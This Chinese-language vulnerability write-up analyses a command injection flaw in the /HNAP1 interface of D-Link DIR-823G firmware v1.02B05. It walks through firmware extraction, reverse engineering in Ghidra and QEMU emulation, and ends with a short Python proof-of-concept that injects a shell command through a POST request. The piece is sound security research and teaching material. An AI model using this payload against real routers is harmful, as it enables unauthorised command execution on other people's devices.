前言
D-Link DIR-823G路由器固件版本v1.02B05被披露存在一处命令注入漏洞。攻击者可通过向/HNAP1接口发送恶意构造的POST请求,从而执行任意操作系统命令,对设备安全构成严重威胁。本文将从固件提取、逆向分析到漏洞复现,逐步剖析该漏洞的成因与利用方法。
固件提取与初步分析
首先,需要获取并解压目标固件文件DIR823G_V1.0.2B05_20181207.bin。我们使用binwalk工具进行固件提取。执行以下命令:
binwalk -Me DIR823G_V1.0.2B05_20181207.bin
命令执行后的输出包含了详细的扫描信息:
- 扫描时间:2025-03-15 14:58:41
- 目标文件:
/home/iot/DIR-Link/DIR823G_V1.0.2B05_20181207.bin
- MD5校验和:
ccd313c43a90295da3bfbfa70b301f892
- 签名数量:411
输出结果显示,固件在偏移量0x2818处包含LZMA压缩数据,在偏移量0x1F6422处包含一个Squashfs文件系统,该文件系统采用xz压缩,大小为4168788字节,包含953个inode。提取完成后,进入生成的_DIR823G_V1.0.2B05_20181207.bin.extracted目录。
查看该目录,可以找到解压出的文件系统根目录squashfs-root。
ls
1f6422.squashfs 2818 2818.7z _2818.extracted squashfs-root
进入squashfs-root目录,可以看到标准的嵌入式Linux文件系统结构。
cd squashfs-root
ls
bin dev etc home init lib mnt proc root sys tmp usr var web web_mtn
固件启动流程与关键服务分析
分析一个未知固件,首要任务是了解其启动的服务和应用。最直接的方法是查看/etc/init.d目录下的启动脚本。
在/etc/init.d目录中,我们可以找到关键的启动脚本rcS。查看其内容,可以梳理出系统的初始化流程:
- 网络与主机名初始化:设置本地回环地址为127.0.0.1,并将主机名设为
rlx-linux。
- 关键文件系统挂载:
mount -t proc proc /proc:挂载proc文件系统,用于访问内核和进程信息。
mount -t ramfs ramfs /var:挂载ramfs文件系统到/var目录。
- 根据条件判断,可能挂载YAFFS2文件系统到
/hw_setting。
- 创建系统目录:脚本创建了大量位于
/var下的目录,如/var/tmp、/var/log、/var/run等,为后续服务运行提供环境。
- 复制配置文件:例如,将
/etc/passwd_orig和/etc/group_orig复制到/var目录下。
- 启动核心服务:
- Web服务:通过
goahead &命令在后台启动GoAhead Web服务器。
- 硬件控制:通过操作
/sys/class/gpio/下的文件,关闭橙色电源指示灯,打开绿色电源指示灯。
- Telnet服务:如果检测到硬件工厂模式(
HW_FACTORY_MODE=1),则会启动telnetd服务。
启动脚本rcS中的关键代码如下:
#!/bin/sh
ifconfig lo 127.0.0.1
CINIT=1
hostname rlx-linux
mount -t proc proc /proc
mount -t ramfs ramfs /var
...
# start web server
goahead &
#Turn off the power led of orange
echo "29" > /sys/class/gpio/gpio29/export
echo "1" > /sys/class/gpio/gpio29/value
#Turn on the power led of green
echo "30" > /sys/class/gpio/gpio30/export
echo "0" > /sys/class/gpio/gpio30/value
...
MODE=`flash get HW_FACTORY_MODE`
if [ "$MODE" = "HW_FACTORY_MODE=1" ];then
telnetd&
fi
由此可以确定,Web服务由/bin/goahead二进制程序提供,这是我们后续逆向工程分析的重点目标。
逆向分析GoAhead Web服务器
为了定位漏洞,我们需要对/bin/goahead程序进行分析。首先,在文件系统中搜索与“HNAP1”相关的线索,因为漏洞公告指出漏洞位于/HNAP1接口。
grep -ir "HNAP1" .
搜索结果显示,除了在/web_mnt/js/目录下的JavaScript文件中存在大量对http://purenetworks.com/HNAP1/的引用外,更重要的是提示二进制文件./bin/goahead中也包含“HNAP1”字符串。
GoAhead简介:GoAhead是一个开源、跨平台的嵌入式Web服务器。其重要特性之一是允许开发者通过websUrlHandlerDefine函数为不同的URL路径注册自定义处理函数。通常的写法如下:
websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
这表明/HNAP1路径的请求将由websHNAPHandler函数(或类似函数)处理。
我们使用Ghidra对goahead二进制文件进行逆向分析。将文件导入Ghidra时,根据文件头信息,正确选择架构为MIPS (little-endian, 32-bit)。
分析大型二进制文件时,从main函数开始追踪效率较低。更高效的方法是直接搜索关键字符串“HNAP1”。在Ghidra中使用搜索功能(Ctrl+Shift+E),在“Program Text”中搜索“HNAP1”,并勾选搜索注释(Comments)字段。
搜索会定位到一处引用,在反汇编窗口中可以看到类似如下的指令:
addiu a1=>s_hnap_auth_004a28ac,v0,0x28ac # 指向字符串 “hnap_auth”
通过查看该地址的交叉引用(XREF),我们可以找到调用关系。最终,我们定位到一个关键的处理函数FUN_0042383c。通过Ghidra的“Function Call Trees”视图分析其调用链,可以发现该函数被FUN_0041d354调用,而后者在更上层的调用关系中,最终可由main函数到达。FUN_0041d354函数的功能类似于websUrlHandlerDefine的派发器,它根据请求的URL路径,调用不同的处理函数(如处理/HNAP1的FUN_0042383c、处理/goform的FUN_0040a810等)。
因此,我们需要深入分析FUN_0042383c函数。
漏洞点定位与分析
在FUN_0042383c函数的反编译代码中,我们发现了存在问题的代码段。以下是漏洞代码的核心逻辑:
- 函数从一个全局地址数组
PTR_s_SetMultipleActions_00588d80开始遍历。
- 使用
strstr函数检查客户端请求(位于param_1 + 0x524)中是否包含数组当前指针所指向的特定字符串(如SetMultipleActions)。
- 如果找到匹配项,则进入一个存在漏洞的代码块。
漏洞代码块如下所示(经过整理和释义):
memset(acStack5008, 0, 0x5000);
snprintf(acStack5008, 4999, "echo \\'%s\\' >/var/hnaplog", in_stack_00000018);
system(acStack5008);
这段代码意图是将某个输入(in_stack_00000018)用单引号包裹后,通过echo命令写入日志文件/var/hnaplog。问题出在snprintf构造命令字符串和随后的system调用上。
漏洞原理:由于输入数据in_stack_00000018被直接拼接到echo \\'%s\\'命令中,且整个字符串被system()执行,攻击者可以通过注入单引号来逃逸出原有的命令上下文,执行额外的命令。
简单示例:
假设正常输入为test,构造的命令为:
echo \'test\' >/var/hnaplog
这是安全的。但如果攻击者输入为' && id #,构造的命令将变为:
echo \'' && id #\' >/var/hnaplog
在这个命令中:
- 第一个反斜杠转义的单引号
\'与用户输入的第一个单引号'闭合,结束了第一个echo参数。
&&使得id命令在echo执行后得以执行。
#注释掉了后续的所有字符,避免了语法错误。
最终,系统会执行id命令。
为了能执行到这段漏洞代码,请求中必须包含特定的HNAP动作字符串。通过查看PTR_s_SetMultipleActions_00588d80地址附近的数据,可以发现这是一个函数指针数组,包含了SetMultipleActions、GetDeviceSettings、GetOperationMode、Login、GetClientInfo等多个HNAP协议方法名及其对应的处理函数地址。这意味着,向/HNAP1发送包含这些方法名的恶意请求,就可能触发漏洞。
固件模拟与环境搭建
理论分析后,需要在模拟环境中验证漏洞。我们尝试使用firmadyne框架进行固件模拟。首先需要为固件编写一个简单的启动脚本,并赋予执行权限。
vim DIR823G_V1.0.2B05_20181207.sh
chmod +x DIR823G_V1.0.2B05_20181207.sh
运行firmadyne的模拟脚本后,程序会进行一系列操作:创建磁盘镜像、格式化文件系统、解压固件文件系统、备份密码文件等。过程中需要输入数据库密码(默认为firmadyne)。
Password for user firmadyne:
在某些情况下,firmadyne可能无法成功启动该固件。此时可以尝试使用Firmware Analysis Plus (FAP)框架。使用FAP模拟的命令及输出如下:
./fap.py -q /qemu-builds/2.5.0 /home/jerry/DIR-DLink/DIR823G_V1.0_2B05_20181207.bin
Firmware: DIR823G_V1.0_2B05_20181207.bin
[+] Extracting the firmware...
[+] Image ID: 2
[+] Identifying architecture...
[+] Architecture: mipsel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: ['br0', '192.168.0.1'], ['br1', '192.168.100.1']
[+] All set! Press ENTER to run the firmware
[+] When running, press Ctrl + A X to terminate qemu
按下回车键后,固件成功在QEMU中启动,并配置了网络接口br0,IP地址为192.168.0.1。通过浏览器访问该地址,按照路由器设置向导完成初始配置(例如设置管理员密码为12345678),即可进入路由器管理界面,为漏洞验证做好准备。
漏洞复现与Exploit编写
根据漏洞分析,我们构造一个特殊的HTTP POST请求发送到/HNAP1/接口,在SOAPAction头或请求体中注入恶意命令。以下是用于验证漏洞的Python exploit代码。该代码尝试写入一个文件到/web_mtn/test.txt来证明命令执行成功。
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
ip='192.168.0.1'
command="'`echo aaaaaaaaa > /web_mtn/test.txt`'"
length=len(command)
headers=requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"'
headers["Content-Type"]="text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"
payload=command
r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload)
执行该脚本后,通过模拟环境中的shell或再次利用漏洞查看,可以确认/web_mtn/test.txt文件已被成功创建并写入了指定内容,从而验证了命令注入漏洞的真实存在。
复现完毕后,在QEMU界面按Ctrl + A,然后按X即可终止固件模拟。
总结
D-Link DIR-823G v1.02B05的命令注入漏洞根源于对用户输入缺乏严格过滤,并将其直接拼接至系统命令中执行。整个分析过程涵盖了从固件提取、启动流程分析、二进制逆向到动态模拟验证的完整链路,体现了嵌入式设备安全研究的基本方法论。对于厂商而言,必须在处理用户输入的每个环节进行严格的过滤和转义;对于安全研究人员,此类案例则提供了宝贵的固件漏洞挖掘与分析思路。
参考资料
[1] 路由器安全研究|D- Link DIR-823G v1.02 B05 复现与利用思路, 微信公众号:mp.weixin.qq.com/s/0GUBaWxEVnxVXg8zK0L-gw
版权声明:本文由 云栈社区 整理发布,版权归原作者所有。